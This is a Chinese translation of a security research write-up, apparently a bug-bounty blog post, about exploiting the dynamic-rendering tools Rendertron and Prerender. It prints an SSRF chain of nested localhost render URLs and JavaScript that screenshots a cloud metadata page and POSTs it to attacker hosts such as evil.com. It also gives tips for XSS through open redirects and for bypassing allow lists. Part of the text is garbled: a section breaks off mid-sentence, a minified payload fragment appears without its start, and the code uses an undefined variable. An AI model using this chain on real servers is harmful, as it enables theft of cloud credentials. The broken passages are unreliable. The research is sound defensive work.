利用动态渲染引擎来控制Web应用

文章来源：EDI安全 01 前言 动态渲染是一种用于将预渲染的网站页面提供给爬虫的技术（例如Google搜索引擎，Slack或Twitter机器人等）。 动态渲染最流行的开源应用程序是Rendertron和Prerender。如果使用不当，两者都可能将漏洞引入网络。 我使用Rendertron中的一个漏洞来接管生产Web应用程序，并通过错误赏金计划赚了5,000美元。 02 介绍 如今，现代JavaScript框架已广泛用于网站开发。现在，我们有了PWA（渐进式Web应用程序）和SPA（单页应用程序），而不是纯HTML页面，它们在客户端浏览器中完成了大部分工作，并使用JavaScript即时生成了页面内容。 该技术具有许多优点，并且可以有效地创建流畅的UI和UX，但同时，它也不适合SEO，因为未开发爬虫和漫游器来呈现或理解JavaScript。帮助机器人获取有效HTML内容的常见方法之一是在服务器上的无头浏览器实例（例如Puppeteer或Playwright）中打开请求的页面，获取结果HTML，剥离不希望被抓取的部分，然后将其返回。这种方法称为动态渲染，是Google推广的一种可提供内容的方法。 我在对Node.js生态系统中的程序包进行安全性审查时遇到了这种类型的应用程序，以了解在生产中使用无头浏览器时可能出现的漏洞。我编写了Semgrep规则并大规模运行它们，以检测无头浏览器的可能易受攻击的用途。 这些规则可在以下Semgrep包中找到： https：//semgrep.dev/p/headless-browser 这些Semgrep规则产生了许多结果以进行分类，在对它们进行调查之后，我发现大量使用无头浏览器的模块旨在帮助网站管理员进行动态渲染。 由于该概念的日益普及，我认为重要的是调查并了解在生产中使用动态渲染时可能出问题的地方。 这项研究的范围包括两种最流行的开源动态呈现应用，Rendertron和预渲染的，但所描述的攻击可以被应用到这种类型的其他应用程序，以及。我还将分享如何应用这些知识来接管一些curl请求的生产Web服务器并获得5,000美元的赏金。 03 结构 如果网页是在客户端上动态生成的，但需要由搜索引擎正确索引，则通常的方法是捕获来自搜寻器或漫游器的请求，将其呈现在服务器端，并输出包含所有内容的漂亮HTML。该流程通常如下所示： Web服务器通过检查User-Agent标头（在某些情况下为URL查询）来检测爬网程序。 请求被路由到渲染应用程序。 呈现应用程序运行无头浏览器并打开原始请求的URL，该URL将呈现页面，就好像用户使用浏览器查看了该页面一样。 生成的HTML被剥离 2这将强制浏览器将请求发送到自身（本地），这将呈现呈现应用程序的结果，呈现呈现由攻击者控制的网页的结果。 （page #2） http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html 3无头浏览器打开URL（page #3），该URL再次将请求发送到渲染应用程序  http://localhost:3000/render/http://www.attackers-website.url/exploit.html 4-5无头浏览器使用以下HTML打开攻击者控制的网站 http://www.attackers-website.url/exploit.html（page #4） 1){fetch("http://www.evil.com",{method:"POST",body:JSON.stringify(t)})}})()' /> // unminified version of JavaScript code that executes on ‘onerror’ event: var n = 0; var img = document.getElementById("hacked"); // <-- screenshot of the metadata endpoint img.onload = function() { // when screenshot is loaded n++; // copy screenshot to canvas element var canvasEl = document.createElement("canvas"); (canvasEl.width = img.width), (canvasEl.height = img.height), canvasEl.getContext("2d").drawImage(img, 0, 0); // get screenshot contents var imgContent = e.toDataURL("image/png"); if (n > 1) { fetch("http://www.attackers-website.url", { // send it to attackers website method: "POST", body: JSON.stringify(imgContent), }); } }; 6-7会强制浏览器获取包含带云元数据（例如 http://metadata.google.internal/computeMetadata/v1beta1/）的iFrame 的页面的屏幕截图 8，然后将其发送到攻击者主机，但是由于CORS的保护，这两个请求均无法正常工作 （localhost在当前URL为时从中获取图像http://www.attackers-website.url）。 尽管如此，结果HTML仍返回到无头浏览器page #3。 9-10在无头浏览器中呈现了相同的HTML，page #3但这一次所有请求都可以正常工作，因为未违反CORS规则（页面的主机与图像的-相同localhost:3000）。 11具有云元数据值的图片将发送给攻击者。 http://metadata.google.internal/computeMetadata/v1beta1/ 在示例中广泛使用的端点已被Google弃用，不再可用。这就是为什么在Google Cloud上运行的Rendertron实例不再如此轻易地公开其令牌的原因。无论如何，请记住，这项研究的方法和技巧不仅可以用于云令牌渗透，而且可以广泛地利用SSRF。 07 技巧和窍门 即使对本地基础结构的所有请求都失败了，如果有一个开放的重定向，就有机会通过它实现XSS。如前所述，动态渲染应用程序仅剥离脚本和链接标签，因此保留HTML属性中的JavaScript代码。这就是为什么重定向到像这样的攻击者控制页面 将导致XSS。不仅如此-因为将在同一域下执行代码，所以将绕过CORS。 如本文开头所述，Rendertron和Prerender都解析HTML以获取用于操作响应标头的特定元标记。这本身不是漏洞，但是例如，如果攻击者有机会在页面上注入HTML并且由于某些原因需要操纵标头（例如，覆盖X-Frame-Options或更改），则可以在漏洞利用链中使用该漏洞。一些与CORS相关的标头）。 另外，请记住，Rendertron和Prerender都允许为通过它请求的网站配置允许列表和拒绝者，因此，如果您的利用不起作用，则始终值得尝试通过利用DNS记录来绕过限制。 08 概要 动态呈现应用程序将来会被广泛使用，因为它们代表了将现代JavaScript框架与SEO友好内容结合在一起的便捷方式。我们可以从Google这样的公司那里看到这一点，并且更多地采用这种方法。因此，重要的是要了解该技术可能引入的弱点。如果您是防御者：请注意，如果配置不正确，基础结构中的无头浏览器可能会引入漏洞。另外，请记住，小的安全疏漏可能是RCE的第一步。幸运的是，许多安全配置错误都可以通过现代静态分析工具发现。如果您站在攻击一边：善用自己的力量并遵守道德规范。最后，如果您正在开发使用无头浏览器的应用程序，请考虑使用Semgrep加快安全性测试